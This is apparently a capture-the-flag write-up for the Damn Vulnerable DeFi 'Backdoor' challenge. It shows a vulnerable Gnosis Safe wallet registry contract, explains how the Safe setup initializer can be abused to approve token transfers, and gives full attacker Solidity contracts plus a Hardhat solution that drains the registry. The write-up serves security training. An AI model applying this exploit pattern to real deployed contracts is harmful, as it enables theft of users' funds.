Backdoor
WalletRegistry.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/auth/Ownable.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
/**
* @title WalletRegistry
* @notice A registry for Gnosis Safe wallets.
* When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
* @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract WalletRegistry is IProxyCreationCallback, Ownable {
uint256 private constant EXPECTED_OWNERS_COUNT = 1;
uint256 private constant EXPECTED_THRESHOLD = 1;
uint256 private constant PAYMENT_AMOUNT = 10 ether;
address public immutable masterCopy;
address public immutable walletFactory;
IERC20 public immutable token;
mapping(address => bool) public beneficiaries;
// owner => wallet
mapping(address => address) public wallets;
error NotEnoughFunds();
error CallerNotFactory();
error FakeMasterCopy();
error InvalidInitialization();
error InvalidThreshold(uint256 threshold);
error InvalidOwnersCount(uint256 count);
error OwnerIsNotABeneficiary();
error InvalidFallbackManager(address fallbackManager);
constructor(
address masterCopyAddress,
address walletFactoryAddress,
address tokenAddress,
address[] memory initialBeneficiaries
) {
_initializeOwner(msg.sender);
masterCopy = masterCopyAddress;
walletFactory = walletFactoryAddress;
token = IERC20(tokenAddress);
for (uint256 i = 0; i < initialBeneficiaries.length;) {
unchecked {
beneficiaries[initialBeneficiaries[i]] = true;
++i;
}
}
}
function addBeneficiary(address beneficiary) external onlyOwner {
beneficiaries[beneficiary] = true;
}
/**
* @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
* setting the registry's address as the callback.
*/
function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256)
external
override
{
if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { // fail early
revert NotEnoughFunds();
}
address payable walletAddress = payable(proxy);
// Ensure correct factory and master copy
if (msg.sender != walletFactory) {
revert CallerNotFactory();
}
if (singleton != masterCopy) {
revert FakeMasterCopy();
}
// Ensure initial calldata was a call to `GnosisSafe::setup`
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
revert InvalidInitialization();
}
// Ensure wallet initialization is the expected
uint256 threshold = GnosisSafe(walletAddress).getThreshold();
if (threshold != EXPECTED_THRESHOLD) {
revert InvalidThreshold(threshold);
}
address[] memory owners = GnosisSafe(walletAddress).getOwners();
if (owners.length != EXPECTED_OWNERS_COUNT) {
revert InvalidOwnersCount(owners.length);
}
// Ensure the owner is a registered beneficiary
address walletOwner;
unchecked {
walletOwner = owners[0];
}
if (!beneficiaries[walletOwner]) {
revert OwnerIsNotABeneficiary();
}
address fallbackManager = _getFallbackManager(walletAddress);
if (fallbackManager != address(0))
revert InvalidFallbackManager(fallbackManager);
// Remove owner as beneficiary
beneficiaries[walletOwner] = false;
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
}
function _getFallbackManager(address payable wallet) private view returns (address) {
return abi.decode(
GnosisSafe(wallet).getStorageAt(
uint256(keccak256("fallback_manager.handler.address")),
0x20
),
(address)
);
}
}
Goal
Our goal is to take all funds (DVT) from the registry (WalletRegistry
contract). In a single transaction.
Exploit
To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
In order to be able to exploit the WalletRegistry
we must be familiar with Gnosis Safe wallets, and how they function.
Gnosis Safe is a multisignature wallet, which is implemented thorugh a smart contract that is deployed on the blockchain. It's most commonly used to require more owners of a particular Gnosis Safe to approve that a specific transaction can be submitted to the blockchain.
Additionaly, Gnosis Safe allows you to add modules to it, extending it's functionalities. Behind the scenes, Gnosis Safe is a specific type of proxy contract, where we have a Gnosis Safe Proxy Factory Contract, and the job of this factory contract is to deploy new Gnosis Safe wallets.
By following the proxy upgradability it allows all created Gnosis Safes to use one logic contract (GnosisSafe
), while delegating calls to it. In particular every single Gnosis Safe is actually a proxy, that will delegatecall
to the implementation which is the GnosisSafe
contract.
The way it works is, we have the factory deployed (GnosisSafeProxyFactory
), and a single veriosn of the wallet (GnosisSafe
), this is what's known as the Singleton Pattern. Later on, the factory will deploy a proxy and any call to that proxy will be delegated to GnosisSafe
.
Let's get back to our CTF.
We are given the WalletRegistry
contract, inside this contract we have the beneficiaries
mapping pre-populated. Whenever an account inside beneficiaries
decides to create a Gnosis Safe, this safe will receive 10 DVT tokens.
The way WalletRegistry
keeps track whether a benificary has created a Gnosis Safe is with the help of proxyCreated
function.
Whenever a Gnosis Safe is created via GnosisSafeProxyFactory::createProxyWithCallback
function, proxyCreated
will be triggered, and inside this function multiple checks will be performed and if every requirement is fullfilled, 10 DVT tokens will be send to the beneficiary wallet.
However, there is a critical assumption in these checks. The assumption is that the owner of the safe is the same person that created the safe. This is not a safe assumption!
First, let's explore what exactly is being called when these safes are deployed.
The GnosisSafeProxyFactory::createProxyWithCallback
function allows us to pass arbitrary code as an initializer for the new safe. But as required in the checks noted above, this initializer must be a call to GnosisSafe::setup
.
Since we can pass anything we want to this setup
function, there's an opportunity for an exploit.
The to
and data
parameters are used to execute arbitrary code as the safe, as soon as the safe is created. We can pass an ERC-20 approve
call as the data parameter to grant our attack smart contract address full access to the safe's DVT tokens!
In order to fit the attack into one transaction, we'll need to instantiate a single-use callback smart contract to pass as the to
parameter during the attack. Inside the callback contract should be a wrapper function that calls the ERC-20 approve
function.
In this CTF by extending the Gnosis Safe with additional module (setupModules
function from ModuleManager
contract) we can add our BackdoorAttacker
contract as module.
In order for this attack to be prevented, inside the WalletRegistry
we must check that the creator (initiator) of the Gnosis Safe is indeed one of the beneficiaries that are previously set.
To exploit the contract we need to:
- create
DVTStealerModule
contract, inside this contract we will create a function that will approve theBackdoorAttacker
contract to transfer all the DVT tokens from the GnosisSafe to our account (this is the single-use callback contract) -
create
BackdoorAttacker
contract, and pass the following parameters to theconstructor
:
- address of the GnosisSafeProxyFactory
- address of the GnosisSafe
- address of the WalletRegistry
- addresses of the beneficiaries
- DVT token address
-
inside the constructor we will:
- instantiate new DVTStealerModule contract
- use a for loop to go through the list of all beneficiaries, and in every iteration we will: prepare the data for the initializer parameter that we need to send to GnosisSafeProxyFactory::createProxyWithCallback; create new GnosisSafe proxy (behind the scenes this proxy will delegatecall to the DVTStealerModule approving the BackdoorAttacker contract to spend the DVT tokens on its behalf); transfer the DVT tokens from the GnosisSafe proxy to ourselves
Attacker contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DVTStealerModule {
function stealDVTTokens(address approvalAddress, address token, uint256 amount) public {
IERC20(token).approve(approvalAddress, amount);
}
}
contract BackdoorAttacker {
constructor(address walletFactory, address singleton, address walletRegistry, address[] memory beneficiaries, address dvt) {
DVTStealerModule tokenStealer = new DVTStealerModule();
for(uint256 i = 0; i < beneficiaries.length; i++) {
address[] memory owners = new address[](1);
owners[0] = beneficiaries[i];
bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(tokenStealer),
abi.encodeWithSignature("stealDVTTokens(address,address,uint256)", address(this), dvt, 10 ether),
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy proxy = GnosisSafeProxyFactory(walletFactory).createProxyWithCallback(
singleton,
initializer,
i,
IProxyCreationCallback(walletRegistry)
);
IERC20(dvt).transferFrom(
address(proxy),
msg.sender,
10 ether
);
}
}
}
Solution code
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Backdoor', function () {
let deployer, users, player;
let masterCopy, walletFactory, token, walletRegistry;
const AMOUNT_TOKENS_DISTRIBUTED = 40n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, alice, bob, charlie, david, player] = await ethers.getSigners();
users = [alice.address, bob.address, charlie.address, david.address]
// Deploy Gnosis Safe master copy and factory contracts
masterCopy = await (await ethers.getContractFactory('GnosisSafe', deployer)).deploy();
walletFactory = await (await ethers.getContractFactory('GnosisSafeProxyFactory', deployer)).deploy();
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
// Deploy the registry
walletRegistry = await (await ethers.getContractFactory('WalletRegistry', deployer)).deploy(
masterCopy.address,
walletFactory.address,
token.address,
users
);
expect(await walletRegistry.owner()).to.eq(deployer.address);
for (let i = 0; i < users.length; i++) {
// Users are registered as beneficiaries
expect(
await walletRegistry.beneficiaries(users[i])
).to.be.true;
// User cannot add beneficiaries
await expect(
walletRegistry.connect(
await ethers.getSigner(users[i])
).addBeneficiary(users[i])
).to.be.revertedWithCustomError(walletRegistry, 'Unauthorized');
}
// Transfer tokens to be distributed to the registry
await token.transfer(walletRegistry.address, AMOUNT_TOKENS_DISTRIBUTED);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
backdoorAttacker = await (await ethers.getContractFactory('BackdoorAttacker', player)).deploy(
walletFactory.address,
masterCopy.address,
walletRegistry.address,
users,
token.address
);
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player must have used a single transaction
expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);
for (let i = 0; i < users.length; i++) {
let wallet = await walletRegistry.wallets(users[i]);
// User must have registered a wallet
expect(wallet).to.not.eq(
ethers.constants.AddressZero,
'User did not register a wallet'
);
// User is no longer registered as a beneficiary
expect(
await walletRegistry.beneficiaries(users[i])
).to.be.false;
}
// Player must own all tokens
expect(
await token.balanceOf(player.address)
).to.eq(AMOUNT_TOKENS_DISTRIBUTED);
});
});